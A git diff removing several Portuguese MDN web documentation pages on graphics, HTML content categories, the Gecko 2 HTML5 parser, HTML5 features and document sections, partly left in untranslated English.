Web sites e aplicações necessitam frequentemente de apresentar gráficos. Imagens estáticas podem ser facilmente mostradas usado o elemento {{HTMLElement("img")}}, ou definindo o fundo do elemento HTML com a propriedade {{cssxref("background-image")}}. É ainda possivel construir gráficos no momento, ou manipular imagens. Este artigo disponibiliza toda a informação necessária.  

- -
-
-

Gráficos 2D

- -
-
Canvas
-
O elemento {{HTMLElement("canvas")}} fornece APIs para desenhar gráficos em 2D com recurso a JavaScript.
-
SVG
-
Scalable Vector Graphics (SVG) utiliza linhas, curvas, e outras formas geometricas para criar gráficos. Com vetores, pode ainda criar imagens que escalam para qualquer tamanho.
-
- -

View All...

-
- -
-

Gráficos 3D

- -
-
WebGL
-
Um guia para iniciar com WebGL, o API de gráficos 3D para a Web. Esta tecnologia permite o uso do standard OpenGL ES em conteúdos Web.
-
- -

Vídeo

- -
-
Utilizar áudio e vídeo em HTML5
-
Incorporar video e/ou audio numa página web e controlar a sua reprodução.
-
WebRTC
-
O RTC em WebRTC significa Real-Time Communications (Comunicação em Tempo Real), é a tecnologia que permite o streaming the audio/video e partilha de informação entre clientes de browser (peers).
-
-
-
diff --git a/files/pt-pt/web/guide/html/content_categories/index.html b/files/pt-pt/web/guide/html/content_categories/index.html deleted file mode 100644 index 638d6d8628..0000000000 --- a/files/pt-pt/web/guide/html/content_categories/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Categorias de conteúdo -slug: Web/Guide/HTML/Content_categories -tags: - - Avançado - - Guía - - HTML - - HTML5 - - Web -translation_of: Web/Guide/HTML/Content_categories -original_slug: Web/Guide/HTML/Categorias_de_conteudo ---- -

Every HTML element is a member of one or more content categories, which group elements that share characteristics. This is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details. It's also possible for elements to not be a member of any of these categories.

- -

There are three types of content categories:

- -
    -
  • Main content categories, which describe common rules shared by many elements.
  • -
  • Form-related content categories, which describe rules common to form-related elements.
  • -
  • Specific content categories, which describe rare categories shared only by a few elements, sometimes only in a specific context.
  • -
- -
-

Nota: A more detailed discussion of these content categories and their comparative functionalities is beyond the scope of this article; for that, you may wish to read the relevant portions of the HTML specification.

-
- -

A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text.

- -

Main content categories

- -

Metadata content

- -

Elements belonging to the metadata content category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other out of band information.

- -

Elements belonging to this category are {{HTMLElement("base")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} and {{HTMLElement("title")}}.

- -

Flow content

- -

Elements belonging to the flow content category typically contain text or embedded content. They are: {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and Text.

- -

A few other elements belong to this category, but only if a specific condition is fulfilled:

- -
    -
  • {{HTMLElement("area")}}, if it is a descendant of a {{HTMLElement("map")}} element
  • -
  • {{HTMLElement("link")}}, if the itemprop attribute is present
  • -
  • {{HTMLElement("meta")}}, if the itemprop attribute is present
  • -
  • {{HTMLElement("style")}}, if the {{htmlattrxref("scoped","style")}} attribute is present
  • -
- -

Sectioning content

- -

Elements belonging to the sectioning content model create a section in the current outline that defines the scope of {{HTMLElement("header")}} elements, {{HTMLElement("footer")}} elements, and heading content.

- -

Elements belonging to this category are {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} and {{HTMLElement("section")}}.

- -
-

Do not confuse this content model with the sectioning root category, which isolates its content from the regular outline.

-
- -

Heading content

- -

Heading content defines the title of a section, whether marked by an explicit sectioning content element, or implicitly defined by the heading content itself.

- -

Elements belonging to this category are {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} and {{HTMLElement("hgroup")}}.

- -
-

Though likely to contain heading content, the {{HTMLElement("header")}} is not heading content itself.

-
- -
-

Note: The {{HTMLElement("hgroup")}} element was removed from the W3C HTML specification prior to HTML 5 being finalized, but is still part of the WHATWG specification and is at least partially supported by most browsers.

-
- -

Phrasing content

- -

Phrasing content defines the text and the mark-up it contains. Runs of phrasing content make up paragraphs.

- -

Elements belonging to this category are {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and plain text (not only consisting of white spaces characters).

- -

A few other elements belong to this category, but only if a specific condition is fulfilled:

- -
    -
  • {{HTMLElement("a")}}, if it contains only phrasing content
  • -
  • {{HTMLElement("area")}}, if it is a descendant of a {{HTMLElement("map")}} element
  • -
  • {{HTMLElement("del")}}, if it contains only phrasing content
  • -
  • {{HTMLElement("ins")}}, if it contains only phrasing content
  • -
  • {{HTMLElement("link")}}, if the itemprop attribute is present
  • -
  • {{HTMLElement("map")}}, if it contains only phrasing content
  • -
  • {{HTMLElement("meta")}}, if the itemprop attribute is present
  • -
- -

Embedded content

- -

Embedded content imports another resource or inserts content from another mark-up language or namespace into the document. Elements that belong to this category include: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.

- -

Interactive content

- -

Interactive content includes elements that are specifically designed for user interaction. Elements that belong to this category include: {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
- Some elements belong to this category only under specific conditions:

- -
    -
  • {{HTMLElement("audio")}}, if the {{htmlattrxref("controls", "audio")}} attribute is present
  • -
  • {{HTMLElement("img")}}, if the {{htmlattrxref("usemap", "img")}} attribute is present
  • -
  • {{HTMLElement("input")}}, if the {{htmlattrxref("type", "input")}} attribute is not in the hidden state
  • -
  • {{HTMLElement("menu")}}, if the {{htmlattrxref("type", "menu")}} attribute is in the toolbar state
  • -
  • {{HTMLElement("object")}}, if the {{htmlattrxref("usemap", "object")}} attribute is present
  • -
  • {{HTMLElement("video")}}, if the {{htmlattrxref("controls", "video")}} attribute is present
  • -
- -

Palpable content

- -

Content is palpable when it's neither empty or hidden; it is content that is rendered and is substantive. Elements whose model is flow content or phrasing content should have at least one node which is palpable.

- -

Form-associated content

- -

Form-associated content comprises elements that have a form owner, exposed by a form attribute. A form owner is either the containing {{HTMLElement("form")}} element or the element whose id is specified in the form attribute.

- -
    -
  • {{HTMLElement("button")}}
  • -
  • {{HTMLElement("fieldset")}}
  • -
  • {{HTMLElement("input")}}
  • -
  • {{deprecated_inline()}}{{HTMLElement("keygen")}}
  • -
  • {{HTMLElement("label")}}
  • -
  • {{HTMLElement("meter")}}
  • -
  • {{HTMLElement("object")}}
  • -
  • {{HTMLElement("output")}}
  • -
  • {{HTMLElement("progress")}}
  • -
  • {{HTMLElement("select")}}
  • -
  • {{HTMLElement("textarea")}}
  • -
- -

This category contains several sub-categories:

- -
-
listed
-
Elements that are listed in the form.elements and fieldset.elements IDL collections. Contains {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
labelable
-
Elements that can be associated with {{HTMLElement("label")}} elements. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
submittable
-
Elements that can be used for constructing the form data set when the form is submitted. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
resettable
-
Elements that can be affected when a form is reset. Contains {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}},{{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
- -

Secondary categories

- -

There are some secondary classifications of elements that can be useful to be aware of as well.

- -

Script-supporting elements

- -

Script-supporting elements are elements which don't directly contribute to the rendered output of a document. Instead, they serve to support scripts, either by containing or specifying script code directly, or by specifying data that will be used by scripts.

- -

The script-supporting elements are:

- -
    -
  • {{HTMLElement("script")}}
  • -
  • {{HTMLElement("template")}}
  • -
- -

Transparent content model

- -

If an element has a transparent content model, then its contents must be structured such that they would be valid HTML 5, even if the transparent element were removed and replaced by the child elements.

- -

For example, the {{HTMLElement("del")}} and {{HTMLELement("ins")}} elements are transparent:

- -
<p>We hold these truths to be <del><em>sacred &amp; undeniable</em></del> <ins>self-evident</ins>.</p>
-
- -

If those elements were removed, this fragment would still be valid HTML (if not correct English).

- -
<p>We hold these truths to be <em>sacred &amp; undeniable</em> self-evident.</p>
-
- -

Outros modelos de conteúdo

- -

Seção raiz.

diff --git a/files/pt-pt/web/guide/html/html5/html5_parser/index.html b/files/pt-pt/web/guide/html/html5/html5_parser/index.html deleted file mode 100644 index b5c39a3401..0000000000 --- a/files/pt-pt/web/guide/html/html5/html5_parser/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Parser HTML5 -slug: Web/Guide/HTML/HTML5/HTML5_Parser -translation_of: Web/Guide/HTML/HTML5/HTML5_Parser -original_slug: Web/HTML/HTML5/Parser_HTML5 ---- -

{{ gecko_minversion_header("2") }}

-

O Gecko 2 introduz um novo analizador (parser), baseado no HTML5. O analizador (parser) HTML é uma das peças mais sensíveis e complicadas de um navegador. Ele controla como o código fonte HTML é transformado em páginas web e, também, mudanças para alguns casos de exceções. O novo analisador (parser) é mais rápido, cumpre com o padrão do HTML5, e habilita também várias novas funcionalidades.

-

O novo analisador (parser) introduz estas melhorias maiores:

-
    -
  • Você pode agora usar o SVG e o MathML em linha em páginas HTML5, sem a sintaxe namespace XML.
  • -
  • O analizador (parsing) está completo em um processo separado do processo de interface de usuário do Firefox, melhorando a responsividade do navegador como um todo.
  • -
  • Chamadas para innerHTML estão muito mais rápidas.
  • -
  • Dúzias de bugs relacionados à análise de longa data (en) estão agora corrigidas.
  • -
-

A especificação do HTML5 (en) fornece descrições mais detalhadas do que os padrões anteriores do HTML de como transformar um fluxo de bytes em uma árvore DOM. Isto resultará em implementações mais consistentes do navegador. Em outras palavras, o suporte ao HTML5 no Gecko, WebKit e Internet Explorer (IE) se tornará mais consistente um com o outro.

-

Changed parser behaviors

-

Some changes to the way that the Gecko 2 parser behaves, as compared to earlier versions of Gecko, may affect web developers, depending on how you've written your code in the past and what browsers you've tested it on.

-

Tokenization of left angle-bracket within a tag

-

Given the string <foo<bar>, the new parser reads it as one tag named foo<bar. This behavior is consistent with IE and Opera, and is different from Gecko 1.x and WebKit, which read it as two tags, foo and bar. If you previously tested your code in IE and Opera, then you probably don't have any tags like this. If you tested your site only with Gecko 1.x or WebKit (for example, Firefox-only intranets or WebKit-oriented mobile sites), then you might have tags that match this pattern, and they will behave differently with Gecko 2.

-

Calling document.write() during parsing

-

Prior to HTML5, Gecko and WebKit allowed calls to document.write() during parsing to insert content into the source stream. This behavior was inherently racy, as the content was inserted into a timing-dependent point in the source stream. If the call happened after the parser was done, the inserted content replaced the document. In IE, such calls are either ignored or imply a call to document.open(), replacing the document. In HTML5, document.write() can only be called from a script that is created by a {{ HTMLElement("script") }} tag that does not have the async or defer attributes set. With the HTML5 parser, calls to document.write() in any other context either are ignored or replace the document.

-

Some contexts from which you should not call document.write() include:

- -

If you use the same mechanism for loading script libraries for all browsers including IE, then your code probably will not be affected by this change. Scripts that serve racy code to Firefox, perhaps while serving safe code to IE, will see a difference due to this change. Firefox writes a warning to the JavaScript console when it ignores a call to document.write().

-

Lack of Reparsing

-

Prior to HTML5, parsers reparsed the document if they hit the end of the file within certain elements or within comments. For example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a comment was not closed, it would look for the first '>'. This behavior created a security vulnerability. If an attacker could force a premature end-of-file, the parser might change which parts of the document it considered to be executable scripts. In addition, supporting reparsing led to unnecessarily complex parsing code.

-

With HTML5, parsers no longer reparse documents. This change has the following consequences for web developers:

-
    -
  • If you omit the closing tag for <title>, <style>, <textarea>, or <xmp>, the page will fail to be parsed. IE already fails to parse documents with a missing </title> tag, so if you test with IE, you probably don't have that problem.
  • -
  • If you forget to close a comment, the page will most likely fail to be parsed. However, unclosed comments often already break in existing browsers for one reason or another, so it's unlikely that you have this issue in sites that are tested in multiple browsers.
  • -
  • In an inline script, in order to use the literal strings </script> and <!--, you should prevent them from being parsed literally by expressing them as \u003c/script> and \u003c!--. The older practice of escaping the string </script> by surrounding it with comment markers, while supported by HTML5, is problematic in cases where the closing comment marker is omitted (see preceding point). You can avoid such problems by using the character code for the initial '<' instead.
  • -
-

Performance improvement with speculative parsing

-

Unrelated to the requirements of HTML5 specification, the Gecko 2 parser uses speculative parsing, in which it continues parsing a document while scripts are being downloaded and executed. This results in improved performance compared to older parsers, because most of the time, Gecko can complete these tasks in parallel.

-

To best take advantage of speculative parsing, and help your pages to load as quickly as possible, ensure that when you call document.write(), you write a balanced sub-tree within that chunk of script. A balanced sub-tree is HTML code in which any elements that are opened are also closed, so that after the script, the elements left open are the same ones that were open before the script. The open and closing tags do not need to be written by the same document.write() call, as long as they are within the same <script> tag.

-

Please note that you shouldn't use end tags for void elements that don't have end tags: {{ HTMLElement('area') }}, {{ HTMLElement('base') }}, {{ HTMLElement('br') }}, {{ HTMLElement('col') }}, {{ HTMLElement('command') }}, {{ HTMLElement('embed') }}, {{ HTMLElement('hr') }}, {{ HTMLElement('img') }}, {{ HTMLElement('input') }}, {{ HTMLElement('keygen') }}, {{ HTMLElement('link') }}, {{ HTMLElement('meta') }}, {{ HTMLElement('param') }}, {{ HTMLElement('source') }} and {{ HTMLElement('wbr') }}. (There are also some element whose end tags can be omitted in some cases, such as {{ HTMLElement('p') }} in the example below, but it's simpler to always use end tags for those elements than to make sure that the end tags are only omitted when they aren't necessary.)

-

For example, the following code writes a balanced sub-tree:

-
<script>
-  document.write("<div>");
-  document.write("<p>Some content goes here.</p>");
-  document.write("</div>");
-</script>
-<!-- Non-script HTML goes here. -->
-
-

In contrast, the following code contains two scripts with unbalanced sub-trees, which causes speculative parsing to fail and therefore the time to parse the document is longer.

-
<script>document.write("<div>");</script>
-<p>Some content goes here.</p>
-<script>document.write("</div>");</script>
-
-

For more information, see Optimizing your pages for speculative parsing.

-

 

diff --git a/files/pt-pt/web/guide/html/html5/index.html b/files/pt-pt/web/guide/html/html5/index.html deleted file mode 100644 index 8156757938..0000000000 --- a/files/pt-pt/web/guide/html/html5/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: HTML5 -slug: Web/Guide/HTML/HTML5 -tags: - - Desenvolvimento da Web - - Guía - - HTML - - HTML5 - - Resumo - - Sinopse - - Web -translation_of: Web/Guide/HTML/HTML5 -original_slug: Web/HTML/HTML5 ---- -

HTML5 é a última evolução no padrão que define o HTML. O termo representa dois conceitos diferentes. Esta é uma nova versão da linguagem HTML, com novos elementos, atributos e comportamentos, e um conjunto maior de tecnologias que permite a criação de sites e aplicações da Web mais diversos e poderosos. Este conjunto às vezes é chamado de HTML5 e amigos e, muitas vezes, abreviado apenas para HTML5.

- -

Desenhado para ser utilizado por todos os programadores da Web Aberta, esta página de referência interliga para inúmeros recursos sobre as tecnologias em HTML5, classificadas em vários grupos com base nas suas funções.

- -
    -
  • Semântica: permitindo que descreva mais precisamente o que é o seu conteúdo.
  • -
  • Conetividade: permitindo que comunique com o servidor de maneiras novas e inovadoras.
  • -
  • Off-line e armazenamento: permitindo webpages armazenem dados localmente no client-side (lado do cliente) e operem offline de forma mais eficiente.
  • -
  • Multimédia: tornando o vídeo e áudio de primeira classe cidadãos na Open Web.
  • -
  • Gráficos e efeitos 2D/3D: permitindo uma gama muito mais diversificada de opções de apresentação.
  • -
  • Desempenho e integração: proporcionando maior otimização de velocidade e melhor uso do hardware do computador.
  • -
  • Acesso ao dispositivo: permitindo o uso de vários dispositivos de entrada e saída.
  • -
  • Estilização: permitindo que os autores escrevam temas mais sofisticados.
  • -
- -
-
-

SemÂntIcA

- -
-
Sections and outlines in HTML5
-
A look at the new outlining and sectioning elements in HTML5: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}} and {{HTMLElement("aside")}}.
-
Using HTML5 audio and video
-
The {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements embed and allow the manipulation of new multimedia content.
-
Forms improvements
-
A look at the constraint validation API, several new attributes, new values for the {{HTMLElement("input")}} attribute {{htmlattrxref("type", "input")}} and the new {{HTMLElement("output")}} element.
-
New semantic elements
-
Beside sections, media and forms elements, there are numerous new elements, like {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, or {{HTMLElement("meter")}} and {{HTMLElement("main")}}, increasing the number of valid HTML5 elements.
-
Improvement in {{HTMLElement("iframe")}}
-
Using the {{htmlattrxref("sandbox", "iframe")}} and {{htmlattrxref("srcdoc", "iframe")}} attributes, authors can now be precise about the level of security and the wished rendering of an {{HTMLElement("iframe")}} element.
-
MathML
-
Allows directly embedding mathematical formulas.
-
Introduction to HTML5
-
This article introduces how to indicate to the browser that you are using HTML5 in your web design or web application.
-
HTML5 Cheat Sheet
-
A handy HTML 5 cheat sheet for beginners who want to master HTML 5, its elements, event attributes and compatibility.
-
HTML5-compliant parser
-
The parser, which turns the bytes of an HTML document into a DOM, has been extended and now precisely defines the behavior to use in all cases, even when faced with invalid HTML. This leads to far greater predictability and interoperability between HTML5-compliant browsers.
-
- -

ConetiviDADE

- -
-
Web Sockets
-
Allows creating a permanent connection between the page and the server and to exchange non-HTML data through that means.
-
Server-sent events
-
Allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request.
-
WebRTC
-
This technology, where RTC stands for Real-Time Communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
-
- -

Off-line e ARMAZENAMENTO

- -
-
Offline resources: The application cache
-
Firefox fully supports the HTML5 offline resource specification. Most others have offline resource support at some level.
-
Online and offline events
-
Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.
-
WHATWG client-side session and persistent storage (aka DOM storage)
-
Client-side session and persistent storage allows web applications to store structured data on the client side.
-
IndexedDB
-
IndexedDB is a web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes.
-
Using files from web applications
-
Support for the new HTML5 File API has been added to Gecko, making it possible for web applications to access local files selected by the user. This includes support for selecting multiple files using the {{HTMLElement("input")}} of type file HTML element's new multiple attribute. There also is FileReader.
-
- -

MultimÉdia

- -
-
Using HTML5 audio and video
-
The {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements embed and allow the manipulation of new multimedia content.
-
WebRTC
-
This technology, where RTC stands for Real-Time Communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
-
Using the Camera API
-
Allows using, manipulating, and storing an image from the computer's camera.
-
Track and WebVTT
-
The {{HTMLElement("track")}} element allows subtitles and chapters. WebVTT is a text track format.
-
- -

GRÁFICOS E EFEITOS 3D

- -
-
Canvas tutorial
-
Learn about the new {{HTMLElement("canvas")}} element and how to draw graphs and other objects in Firefox.
-
HTML5 Text API for <canvas> elements
-
The HTML5 text API is now supported by {{HTMLElement("canvas")}} elements.
-
WebGL
-
WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0 that can be used in HTML5 {{HTMLElement("canvas")}} elements.
-
SVG
-
An XML-based format of vectorial images that can directly be embedded in the HTML.
-
-
- -
-

DESEMPENHO E IntegraÇÃO

- -
-
Web Workers
-
Allows delegation of JavaScript evaluation to background threads, allowing these activities to prevent slowing down interactive events.
-
XMLHttpRequest level 2
-
Allows fetching asynchronously some parts of the page, allowing it to display dynamic content, varying according to the time and user actions. This is the technology behind Ajax.
-
JIT-compiling JavaScript engines
-
The new generation of JavaScript engines is much more powerful, leading to greater performance.
-
History API
-
Allows the manipulation of the browser history. This is especially useful for pages loading interactively new information.
-
The contentEditable Attribute: Transform your website to a wiki!
-
HTML5 has standardized the contentEditable attribute. Learn more about this feature.
-
Drag and drop
-
The HTML5 drag and drop API allows support for dragging and dropping items within and between web sites. This also provides a simpler API for use by extensions and Mozilla-based applications.
-
Focus management in HTML
-
The new HTML5 activeElement and hasFocus attributes are supported.
-
Web-based protocol handlers
-
You can now register web applications as protocol handlers using the navigator.registerProtocolHandler() method.
-
requestAnimationFrame
-
Allows control of animations rendering to obtain optimal performance.
-
Fullscreen API
-
Controls the usage of the whole screen for a Web page or application, without the browser UI displayed.
-
Pointer Lock API
-
Allows locking the pointer to the content, so games and similar applications don't lose focus when the pointer reaches the window limit.
-
Online and offline events
-
In order to build a good offline-capable web application, you need to know when your application is actually offline. Incidentally, you also need to know when your application has returned to an online status again.
-
- -

ACESSO AO DISPOSITIVO

- -
-
Using the Camera API
-
Allows using, manipulating, and storing an image from the computer's camera.
-
Touch events
-
Handlers to react to events created by a user pressing touch screens.
-
Using geolocation
-
Let browsers locate the position of the user using geolocation.
-
Detecting device orientation
-
Get the information when the device on which the browser runs changes orientation. This can be used as an input device (e.g., to make games that react to the position of the device) or to adapt the layout of a page to the orientation of the screen (portrait or landscape).
-
Pointer Lock API
-
Allows locking the pointer to the content, so games and similar application don't lose focus when the pointer reaches the window limit.
-
- -

ESTILIZAÇÃO

- -

CSS has been extended to be able to style elements in a much more complex way. This is often referred as CSS3, though CSS is not a monolithic specification any more and the different modules are not all at level 3: some are at level 1 and others at level 4, with all the intermediate levels covered.

- -
-
New background styling features
-
It is now possible to put a shadow to a box, using {{cssxref("box-shadow")}} and multiple backgrounds can be set.
-
More fancy borders
-
Not only it is now possible to use images to style borders, using {{cssxref("border-image")}} and its associated longhand properties, but rounded borders are supported via the {{cssxref("border-radius")}} property.
-
Animating your style
-
Using CSS Transitions to animate between different states or using CSS Animations to animate parts of the page without a triggering event, you can now control mobile elements on your page.
-
Typography improvement
-
Authors have better control to reach better typography. They can control {{cssxref("text-overflow")}} and hyphenation, but also can add a shadow to it or control more precisely its decorations. Custom typefaces can be downloaded and applied thanks to the new {{cssxref("@font-face")}} at-rule.
-
New presentational layouts
-
In order to improve the flexibility of designs, two new layouts have been added: the CSS multi-column layouts and CSS flexible box layout.
-
-
-
diff --git a/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html b/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html deleted file mode 100644 index ef509a0965..0000000000 --- a/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Introdução ao HTML5 -slug: Web/Guide/HTML/HTML5/Introduction_to_HTML5 -tags: - - HTML - - HTML5 -translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5 -original_slug: Web/HTML/HTML5/Introdução_ao_HTML5 ---- -

O HTML5 (en), cujas novidades começaram a ser implementadas no Gecko 1.8.1, é a mais nova versão do padrão HTML. Ela oferece novas características para proporcionar não somente um rico suporte à mídia, mas também para melhorar o suporte à criação de aplicações web que podem interagir com o usuário, seus dados locais e servidores de maneira mais fácil e efetiva.

- -

Como o HTML5 ainda está em estágio de projeto, mudanças às especificações são inevitáveis. Por causa disso, nem todas as características são suportadas por todos os navegadores ainda. Entretanto, o Gecko (e por extensão, o Firefox) possui um suporte inicial ao HTML5 muito bom e o trabalho continua no caminho de suportar cada vez mais características. Você pode encontrar uma lista das características do HTML5 suportadas pelo Gecko na página principal do HTML5.

- -

O doctype do HTML5

- -

O doctype para o HTML5 é muito simples. Para indicar que seu conteúdo HTML usa HTML5, simplesmente use:

- -
<!DOCTYPE html>
-
- -

Este doctype tão simples, permitirá que mesmo os navegadores que atualmente não suportam o HTML5, o considerem como o modo padrão, o que significa que eles irão interpretar as partes do HTML já estabelecidas em um modo complacente do HTML5, ignorando as novas características do HTML5 não suportadas pelos mesmos.

diff --git a/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html b/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html deleted file mode 100644 index 2f7dd145db..0000000000 --- a/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html +++ /dev/null @@ -1,344 +0,0 @@ ---- -title: Utilizar estruturas e secções de HTML -slug: Web/Guide/HTML/Using_HTML_sections_and_outlines -tags: - - Avançado - - Estruturas - - Exemplo - - Guía - - HTML - - HTML5 - - Resumo - - Secções - - Sinopse - - Web -translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines -original_slug: Web/Guide/HTML/Utilizar_estruturas_e_seccoes_de_HTML ---- -
-

Importante: atualmente, não existem implementações conhecidas do algoritmo de estrutura nos navegadores gráficos ou agentes de utilizador da tecnologia assistiva, embora o algoritmo esteja implementado noutro software, tal como verificadores de conformidade . Assim, o algoritmo de estrutura não pode ser invocado para transmitir a estrutura do documento aos utilizadores. Recomenda-se que os autores utilizem rank (h1-h6) para transmitir a estrutura do documento.

-
- -

The HTML5 specification brings several new elements to web developers allowing them to describe the structure of a web document with standard semantics. This document describes these elements and how to use them to define the desired outline for any document.

- -

Estrutura de um documento em HTML 4

- -

